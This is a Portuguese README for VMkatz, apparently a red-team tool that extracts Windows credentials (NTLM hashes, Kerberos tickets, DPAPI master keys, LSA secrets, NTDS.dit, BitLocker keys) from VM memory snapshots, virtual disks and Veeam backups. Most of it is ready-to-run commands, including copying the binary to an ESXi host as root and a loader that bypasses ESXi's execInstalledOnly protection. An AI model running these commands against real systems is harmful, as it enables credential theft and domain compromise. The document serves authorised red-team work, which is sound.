
Extrair credenciais do Windows diretamente de snapshots de memória de VM e discos virtuais
Você está há três semanas em um engajamento de red team. Você consegue acesso a um NAS conectado ao cluster de virtualização — centenas de gigabytes de .vmdk, .vmsn, .sav ali disponíveis. Mas seu link faz 200 KB/s. Exfiltrar um único disco de 100 GB levaria seis dias.
VMkatz existe porque você não deveria precisar exfiltrar o que pode ler no local. Ele extrai credenciais do Windows diretamente de arquivos de VM — snapshots de memória, discos virtuais, backups do Veeam: hashes NTLM, tickets Kerberos, chaves mestras DPAPI, segredos LSA, NTDS.dit, chaves BitLocker, segredos de navegador.
Binário estático único, ~3 MB. Coloque-o no host ESXi, no nó Proxmox ou no NAS. Aponte-o para uma pasta de VM e saia com credenciais, não com imagens de disco.
Todos os 9 provedores de credenciais SSP que o mimikatz implementa:
| Provedor | Dados | Observações |
|---|---|---|
| MSV1_0 | Hashes NT/LM, SHA1 | Fallback de varredura física para entradas paginadas |
| WDigest | Senhas em texto claro | Travessia de lista encadeada + fallback em .data |
| Kerberos | Chaves AES/RC4/DES, tickets (.kirbi/.ccache) | Travessia de árvore AVL + carving de tickets para sessões liberadas |
| TsPkg | Senhas em texto claro | Apenas sessões RDP |
| DPAPI | Cache de chave mestra (GUID + chave descriptografada) | Masterkey SHA1 para descriptografia DPAPI offline |
| SSP | Credenciais em texto claro | SspCredentialList em msv1_0.dll |
| LiveSSP | Credenciais em texto claro | Requer livessp.dll (raro após Win8) |
| Credman | Credenciais armazenadas | Enumeração por tabela hash + lista única |
| CloudAP | Tokens do Azure AD | Geralmente vazio para logon apenas local |
Além disso: extração de FVEK do BitLocker a partir da memória (varredura de pool tag para FVEc/Cngb).
$DPAPImk$ — modos 15300/15310/15900/15910)| Formato | Extensões | Origem | Status |
|---|---|---|---|
| Snapshots VMware | .vmsn + .vmem | Workstation, ESXi | Testado |
| Snapshots embutidos VMware | .vmsn (sem .vmem) | ESXi suspend | Testado |
| Estados salvos VirtualBox | .sav | VirtualBox | Testado |
| Estados savevm QEMU/KVM | auto-detectado | Proxmox, QEMU | Testado |
| Core dumps ELF QEMU/KVM | .elf | virsh dump | Testado |
| Estados salvos Hyper-V | .vmrs | Hyper-V 2016+ | Testado |
| Backups Veeam | .vbk, .vib, .vrb | Veeam B&R | Testado |
| Discos virtuais VMware | .vmdk (sparse + flat) | Workstation, ESXi | Testado |
| Discos virtuais VirtualBox | .vdi | VirtualBox | Testado |
| Discos virtuais QEMU/KVM | .qcow2 | QEMU, Proxmox | Testado |
| Discos virtuais Hyper-V | .vhdx, .vhd | Hyper-V | Testado |
| Dispositivos SCSI brutos VMFS-5/6 | /dev/disks/... | ESXi (contorna bloqueios de arquivo) | Testado |
| Dispositivos de bloco LVM | /dev/... | Proxmox LVM-thin | Testado |
| Hives de registro brutos | SAM, SYSTEM, SECURITY | reg save | Testado |
| NTDS.dit bruto | ntds.dit + SYSTEM | Controlador de domínio | Testado |
| Minidump LSASS | .dmp | procdump, Gerenciador de Tarefas | Testado |
| Diretórios de VM | qualquer pasta | Descobre automaticamente todos os arquivos | Testado |
SO alvo: Windows Server 2003 até Windows Server 2025 / Windows 11 24H2 (x86 PAE + x64).
# Extract LSASS credentials from a VMware snapshot
./vmkatz snapshot.vmsn
# With pagefile resolution for paged-out creds
./vmkatz --disk disk.vmdk snapshot.vmsn
# Extract SAM/LSA/DCC2 from a virtual disk
./vmkatz disk.vmdk
# Extract AD hashes from a domain controller disk
./vmkatz --ntds dc-disk.qcow2
# Point at a VM folder and let it find everything
./vmkatz /path/to/vm-directory/
# Extract from raw registry hives
./vmkatz SAM SYSTEM SECURITY
# Output as hashcat-ready hashes
./vmkatz --format hashcat snapshot.vmsn
# Export Kerberos tickets
./vmkatz --kirbi snapshot.vmsn # .kirbi files
./vmkatz --ccache snapshot.vmsn # .ccache file
# Export BitLocker FVEK for dislocker
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn
# Recursively scan all VMs under a path
./vmkatz -r /vmfs/volumes/datastore1/
# Parse LSASS minidump
./vmkatz lsass.dmp
# Extract from Hyper-V saved state
./vmkatz guest.vmrs
# Extract from Veeam backup (build with --features veeam)
./vmkatz backup.vbk
./vmkatz --veeam-list backup.vbk # List disk images
./vmkatz --veeam-extract backup.vbk # Extract raw disk
| Formato | Flag | Descrição |
|---|---|---|
text | --format text (padrão) | Despejo completo de credenciais com metadados de sessão |
brief | --format brief | Resumo compacto de uma linha por credencial |
ntlm | --format ntlm | Formato pwdump DOMAIN\user:::hash::: |
hashcat | --format hashcat | Hashes brutos: modo 1000 (NTLM), 2100 (DCC2), 15300/15900 (DPAPI) |
csv | --format csv | Legível por máquina, todos os campos |
# Cross-compile for ESXi (musl static)
cargo build --release --target x86_64-unknown-linux-musl
# Upload and run
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn
Quando a proteção VIB (execInstalledOnly) está ativada, use o carregador Python — não é necessário desativar a configuração:
scp tools/vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn
Consulte docs/esxi.md para obter detalhes sobre o bypass de VIB, acesso a dispositivos brutos VMFS e descoberta automática.
O VMkatz é modular. Os recursos podem ser habilitados/desabilitados em tempo de compilação:
| Recurso | Descrição | Padrão |
|---|---|---|
vmware | Suporte a snapshots .vmsn/.vmem do VMware | Sim |
vbox | Suporte a estados salvos .sav do VirtualBox | Sim |
qemu | Core dumps ELF do QEMU/KVM + savevm do Proxmox | Sim |
hyperv | Suporte a dumps .vmrs/.bin/.raw do Hyper-V | Sim |
sam | Extração de disco (SAM/LSA/DCC2) + manipuladores de formato de disco | Sim |
ntds.dit | Extração de AD via NTDS.dit. Requer sam | Sim |
carve | Extração degradada de memória parcial/truncada | Sim |
dump | Dump de memória de processo como minidump | Sim |
vmfs | Parser bruto VMFS-5/6 para dispositivos SCSI do ESXi. Requer sam | Sim |
chrome | Extração de segredos do navegador (Chromium + Firefox). Requer sam | Não |
veeam | Suporte a backups VBK/VIB/VRB do Veeam. Requer sam | Não |